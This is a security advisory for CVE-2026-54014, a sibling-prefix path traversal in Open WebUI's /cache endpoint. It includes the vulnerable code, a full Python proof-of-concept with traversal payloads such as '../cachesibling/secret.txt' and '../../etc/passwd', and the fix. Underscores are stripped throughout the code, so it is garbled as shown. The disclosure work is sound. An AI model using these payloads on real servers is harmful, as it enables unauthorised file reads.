CVE-2026-54014: Open WebUI: Sibling-Prefix Path Traversal via /cache/{path} in open-webui/open-webui
Summary
A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.
The root cause is that servecachefile() in openwebui/main.py validates the resolved path with filepath.startswith(os.path.abspath(CACHEDIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cachesibling, cachebackup, cachedmodels) to pass validation.
Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.
Exploitation constraints
| Constraint | Detail | |---|---| | Auth required | getverifieduser — any user with role user or admin | | Scope | Only sibling directories starting with cache (e.g. cachebackup, cachedmodels) | | Deep traversal | Blocked — ../../etc/passwd correctly fails the startswith check | | Absolute paths | Blocked — /etc/passwd correctly fails | | Client normalization | httpx/browsers normalize .. client-side — must use raw HTTP or ASGI to deliver payload |
Vulnerability Details
Vulnerable function: servecachefile()
python openwebui/main.py, line 2907-2924 @app.get('/cache/{path:path}') async def servecachefile(path: str, user=Depends(getverifieduser)): filepath = os.path.abspath(os.path.join(CACHEDIR, path)) # prevent path traversal if not filepath.startswith(os.path.abspath(CACHEDIR)): # ← BUG: no trailing os.sep raise HTTPException(statuscode=404, detail='File not found') if not os.path.isfile(filepath): raise HTTPException(statuscode=404, detail='File not found') return FileResponse(filepath, headers=headers)
The bypass
python CACHEDIR = "/data/cache"
Attacker path: "../cachesibling/secret.txt" filepath = os.path.abspath(os.path.join("/data/cache", "../cachesibling/secret.txt")) → "/data/cachesibling/secret.txt"
"/data/cachesibling/secret.txt".startswith("/data/cache") → True ← BYPASS (because "cachesibling" starts with "cache")
Correct check would be: "/data/cachesibling/secret.txt".startswith("/data/cache/") → False ← BLOCKED
Proof of Concept
Environment
| Component | Detail | |-----------|--------| | open-webui | 0.9.5 (pip installed) | | Python | 3.11 | | Import | from openwebui.main import app (true import, real FastAPI app) | | Method | Raw ASGI request (bypasses httpx client-side .. normalization) |
poc.py
python
import asyncio import os import shutil import sys import tempfile TEMPDATA = tempfile.mkdtemp(prefix="owuipoc") os.environ["DATADIR"] = TEMPDATA os.environ["WEBUISECRETKEY"] = "pocsecretkey12345" os.environ["WEBUIAUTH"] = "false" CACHEDIR = os.path.join(TEMPDATA, "cache") SIBLINGDIR = os.path.join(TEMPDATA, "cachesibling") os.makedirs(CACHEDIR, existok=True) os.makedirs(SIBLINGDIR, existok=True)
SECRETCONTENT = "STOLENFROMSIBLINGDIR" with open(os.path.join(SIBLINGDIR, "secret.txt"), "w") as f: f.write(SECRETCONTENT) with open(os.path.join(CACHEDIR, "legit.txt"), "w") as f: f.write("legitimatecachefile") from openwebui.main import app from openwebui.utils.auth import getverifieduser class FakeUser: id = "poc" email = "poc@test" role = "user"
app.dependencyoverrides[getverifieduser] = lambda: FakeUser() async def rawasgiget(app, path): """Send a raw ASGI request without client-side path normalization.""" scope = { "type": "http", "method": "GET", "path": path, "querystring": b"", "headers": [(b"host", b"localhost")], "rootpath": "", "asgi": {"version": "3.0"}, } responsestarted = False statuscode = None bodyparts = []
async def receive(): return {"type": "http.request", "body": b""}
async def send(message): nonlocal responsestarted, statuscode if message["type"] == "http.response.start": responsestarted = True statuscode = message["status"] elif message["type"] == "http.response.body": bodyparts.append(message.get("body", b""))
await app(scope, receive, send) return statuscode, b"".join(bodyparts)
async def main(): s1, b1 = await rawasgiget(app, "/cache/legit.txt") s2, b2 = await rawasgiget(app, "/cache/../cachesibling/secret.txt") s3, b3 = await rawasgiget(app, "/cache/../../etc/passwd")
baselineok = s1 == 200 and b"legitimatecachefile" in b1 exploitok = s2 == 200 and SECRETCONTENT.encode() in b2 deepblocked = s3 == 404
print(f"package: openwebui (pip installed)") print(f"version: 0.9.5") print(f"function: servecachefile (GET /cache/{{path}})") print(f"sink: main.py:2914 filepath.startswith(os.path.abspath(CACHEDIR))") print(f"bypass: startswith without trailing os.sep allows sibling-prefix match") print() print(f"CACHEDIR: {CACHEDIR}") print(f"SIBLING: {SIBLINGDIR}") print() print(f"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}") print(f"[exploit] /cache/../cachesibling/secret.txt status={s2} body={b2[:40]!r}") print(f"[control] /cache/../../etc/passwd status={s3} (should be 404)") print() print(f"result: {'VULNERABLE' if exploitok and baselineok and deepblocked else 'NOT CONFIRMED'}")
shutil.rmtree(TEMPDATA, ignoreerrors=True) sys.exit(0 if exploitok else 1)
if name == "main": asyncio.run(main())
PoC output
<img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" />
Suggested Fix
python if not filepath.startswith(os.path.abspath(CACHEDIR) + os.sep): raise HTTPException(statuscode=404, detail='File not found')
Single character fix: append os.sep to the prefix in the startswith check.
Other sources
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, a path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator. The root cause is that servecachefile() in openwebui/main.py validates the resolved path with filepath.startswith(os.path.abspath(CACHEDIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cachesibling, cachebackup, cachedmodels) to pass validation. This vulnerability is fixed in 0.9.6.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/open-webuito a version that resolves this vulnerability.Fixed in 0.9.6 - Upgrade
Upgrade
open-webuito a version that resolves this vulnerability.Fixed in 0.9.6 - Configuration
Fix the incomplete `startswith` containment check in `serve_cache_file()` by appending the trailing path separator (`os.sep`) to the `CACHE_DIR` prefix (i.e., use `file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep)` instead of `file_path.startswith(os.path.abspath(CACHE_DIR))`).
open-webui serve_cache_file() (open_webui/main.py) file_path startswith check prefix containment = file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep)
Event History
Frequently Asked Questions
What is the severity of CVE-2026-54014?
The severity of CVE-2026-54014 is classified as medium with a score of 4.3.
How do I fix CVE-2026-54014?
To fix CVE-2026-54014, ensure that all user inputs are properly sanitized and implement complete containment checks for path traversals.
What is the impact of CVE-2026-54014?
CVE-2026-54014 allows authenticated users to read files from sibling directories outside the intended cache directory.
Which software is affected by CVE-2026-54014?
The vulnerability CVE-2026-54014 affects the open-webui software package.
What type of vulnerability is CVE-2026-54014?
CVE-2026-54014 is classified as a Path Traversal vulnerability.